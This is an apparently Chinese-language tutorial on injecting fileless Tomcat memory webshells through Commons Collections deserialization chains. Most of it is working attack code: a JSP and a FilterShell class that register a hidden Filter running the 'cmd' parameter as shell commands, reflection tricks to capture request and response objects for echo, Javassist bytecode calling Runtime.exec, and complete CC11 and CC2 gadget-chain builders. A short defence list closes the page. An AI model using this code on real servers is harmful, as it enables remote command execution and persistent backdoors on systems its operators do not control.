结合CC链注入无文件Tomcat内存马
字数 865 2025-08-11 21:26:39

Tomcat内存马注入技术详解

一、Tomcat内存马基础

Tomcat内存马是一种无需写入磁盘文件即可在内存中驻留的恶意后门技术,主要分为以下几种类型:

  1. Filter内存马:通过动态注册Filter实现
  2. Servlet内存马:通过动态注册Servlet实现
  3. Listener内存马:通过动态注册Listener实现
  4. Valve内存马:通过Tomcat的Valve管道机制实现

传统内存马的局限性

传统的内存马技术虽然不直接写入磁盘,但会在Tomcat的工作目录下生成临时文件:

  • 路径:CATALINA_BASE/work/Catalina/localhost/[应用名]/org/apache/jsp/
  • 这使得它们并非真正的"无文件"内存马

二、Filter内存马实现原理

1. 基本Filter实现

public class filterDemo implements Filter {
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }
    
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, 
                        FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    
    public void destroy() {}
}

2. 动态注册Filter的JSP实现

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.*" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>

<%
// 获取StandardContext
Field appContextField = ApplicationContextFacade.class.getDeclaredField("context");
appContextField.setAccessible(true);
Field standardContextField = ApplicationContext.class.getDeclaredField("context");
standardContextField.setAccessible(true);

ServletContext servletContext = request.getSession().getServletContext();
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

// 创建恶意Filter
Filter filter = new Filter() {
    @Override public void doFilter(ServletRequest request, ServletResponse response, 
                                 FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} 
                                  : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        chain.doFilter(request, response);
    }
    // 其他方法省略...
};

// 注册Filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
    Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
    constructor.newInstance(standardContext, filterDef);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);

// 设置Filter映射
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

out.println("Inject done");
%>

三、Tomcat回显技术

1. 获取Request/Response对象

通过修改ApplicationDispatcher.WRAP_SAME_OBJECTApplicationFilterChain的静态变量实现:

// 修改WRAP_SAME_OBJECT
Class applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field WRAP_SAME_OBJECT_FIELD = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
WRAP_SAME_OBJECT_FIELD.setAccessible(true);

// 去除final修饰
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, 
    WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);

// 修改lastServicedRequest/lastServicedResponse
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");

// 同样去除final修饰
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
modifiersField.setInt(lastServicedRequestField, 
    lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, 
    lastServicedResponseField.getModifiers() & ~Modifier.FINAL);

// 设置初始值
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());

2. 回显实现

ThreadLocal<ServletRequest> lastServicedRequest = 
    (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = 
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);

String cmd = lastServicedRequest != null ? 
    lastServicedRequest.get().getParameter("cmd") : null;

if (cmd != null) {
    boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} 
                          : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\A");
    String output = s.hasNext() ? s.next() : "";
    
    Writer writer = lastServicedResponse.get().getWriter();
    writer.write(output);
    writer.flush();
}

四、利用CC链注入内存马

1. CC11链分析

利用链:

ObjectInputStream.readObject()
  -> HashSet.readObject()
    -> HashMap.put()
      -> HashMap.hash()
        -> TiedMapEntry.hashCode()
          -> TiedMapEntry.getValue()
            -> LazyMap.get()
              -> InvokerTransformer.transform()
                -> Method.invoke()
                  ... templates gadgets ...
                    -> Runtime.exec()

2. 动态生成恶意字节码

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("EvilClass");

// 插入恶意代码
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);

// 设置父类避免报错
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

// 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
Field _bytecodes = templates.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, targetByteCodes);

Field _name = templates.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "name");

Field _class = templates.getClass().getDeclaredField("_class");
_class.setAccessible(true);
_class.set(templates, null);

3. 完整CC11利用链构造

// 初始化InvokerTransformer
InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);

// 构造LazyMap
HashMap innermap = new HashMap();
LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map, templates);

// 构造HashSet
HashSet hashset = new HashSet(1);
hashset.add("foo");

// 反射修改HashSet内部map
Field f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

// 获取HashSet内部table并修改第一个节点的key
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(hashset_map);
Object node = array[0];
Field keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, tiedmap);

// 最后修改InvokerTransformer的iMethodName为newTransformer
Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
iMethodName.setAccessible(true);
iMethodName.set(transformer, "newTransformer");

五、无文件内存马注入实战

1. 完整内存马类实现

public class FilterShell extends AbstractTranslet implements Filter {
    static {
        try {
            // 设置WRAP_SAME_OBJECT和lastServicedRequest/Response
            // ...省略设置代码...
            
            // 获取ServletContext和StandardContext
            ServletRequest servletRequest = lastServicedRequest.get();
            ServletContext servletContext = servletRequest.getServletContext();
            
            Field context = servletContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
            
            Field stdContext = applicationContext.getClass().getDeclaredField("context");
            stdContext.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdContext.get(applicationContext);

            // 创建并注册Filter
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(new FilterShell());
            filterDef.setFilterName("MaliciousFilter");
            filterDef.setFilterClass(FilterShell.class.getName());
            standardContext.addFilterDef(filterDef);

            // 创建FilterConfig
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(
                Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) 
                constructor.newInstance(standardContext, filterDef);

            // 添加到filterConfigs
            Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
            filterConfigsField.setAccessible(true);
            Map filterConfigs = (Map) filterConfigsField.get(standardContext);
            filterConfigs.put("MaliciousFilter", filterConfig);

            // 设置Filter映射
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName("MaliciousFilter");
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
            standardContext.addFilterMapBefore(filterMap);
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                       FilterChain chain) throws IOException, ServletException {
        if (request.getParameter("cmd") != null) {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") 
                ? new String[]{"cmd.exe", "/c", request.getParameter("cmd")}
                : new String[]{"sh", "-c", request.getParameter("cmd")};
                
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
            byte[] buffer = new byte[1024];
            int readSize;
            
            while ((readSize = in.read(buffer)) != -1) {
                outputStream.write(buffer, 0, readSize);
            }
            
            response.getWriter().println(outputStream.toString());
            return;
        }
        chain.doFilter(request, response);
    }
    // 其他方法省略...
}

2. 利用CC2链注入字节码

public class cc2 {
    public static void main(String[] args) throws Exception {
        // 加载恶意类字节码
        byte[] bytes = Files.readAllBytes(Paths.get("FilterShell.class"));
        
        // 设置TemplatesImpl
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_name", "Malicious");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_class", null);

        // 构造CC2链
        InvokerTransformer invokerTransformer = new InvokerTransformer(
            "newTransformer", new Class[]{}, new Object[]{});
            
        TransformingComparator transformingComparator = new TransformingComparator(
            new ConstantTransformer<>(1));
            
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        // 反射修改comparator
        Field transformField = transformingComparator.getClass()
            .getDeclaredField("transformer");
        transformField.setAccessible(true);
        transformField.set(transformingComparator, invokerTransformer);

        // 序列化
        serialize(priorityQueue);
    }
    
    public static void setFieldValue(Object obj, String fieldName, Object value) 
        throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

六、防御措施

  1. 禁用危险的类和方法

    • 限制org.apache.commons.collections相关类的使用
    • 禁用TemplatesImpl等危险类
  2. 安全配置

    • 设置WRAP_SAME_OBJECT为false
    • 定期检查filterConfigs等关键数据结构
  3. 运行时防护

    • 使用RASP检测内存马注入行为
    • 监控动态类加载和反射调用
  4. 代码审计

    • 检查所有反序列化入口点
    • 验证所有动态注册的Filter/Servlet/Listener
  5. 更新补丁

    • 及时更新Tomcat和依赖库版本
    • 修复已知的反序列化漏洞
Tomcat内存马注入技术详解 一、Tomcat内存马基础 Tomcat内存马是一种无需写入磁盘文件即可在内存中驻留的恶意后门技术,主要分为以下几种类型: Filter内存马 :通过动态注册Filter实现 Servlet内存马 :通过动态注册Servlet实现 Listener内存马 :通过动态注册Listener实现 Valve内存马 :通过Tomcat的Valve管道机制实现 传统内存马的局限性 传统的内存马技术虽然不直接写入磁盘,但会在Tomcat的工作目录下生成临时文件: 路径: CATALINA_BASE/work/Catalina/localhost/[应用名]/org/apache/jsp/ 这使得它们并非真正的"无文件"内存马 二、Filter内存马实现原理 1. 基本Filter实现 2. 动态注册Filter的JSP实现 三、Tomcat回显技术 1. 获取Request/Response对象 通过修改 ApplicationDispatcher.WRAP_SAME_OBJECT 和 ApplicationFilterChain 的静态变量实现: 2. 回显实现 四、利用CC链注入内存马 1. CC11链分析 利用链: 2. 动态生成恶意字节码 3. 完整CC11利用链构造 五、无文件内存马注入实战 1. 完整内存马类实现 2. 利用CC2链注入字节码 六、防御措施 禁用危险的类和方法 : 限制 org.apache.commons.collections 相关类的使用 禁用 TemplatesImpl 等危险类 安全配置 : 设置 WRAP_SAME_OBJECT 为false 定期检查 filterConfigs 等关键数据结构 运行时防护 : 使用RASP检测内存马注入行为 监控动态类加载和反射调用 代码审计 : 检查所有反序列化入口点 验证所有动态注册的Filter/Servlet/Listener 更新补丁 : 及时更新Tomcat和依赖库版本 修复已知的反序列化漏洞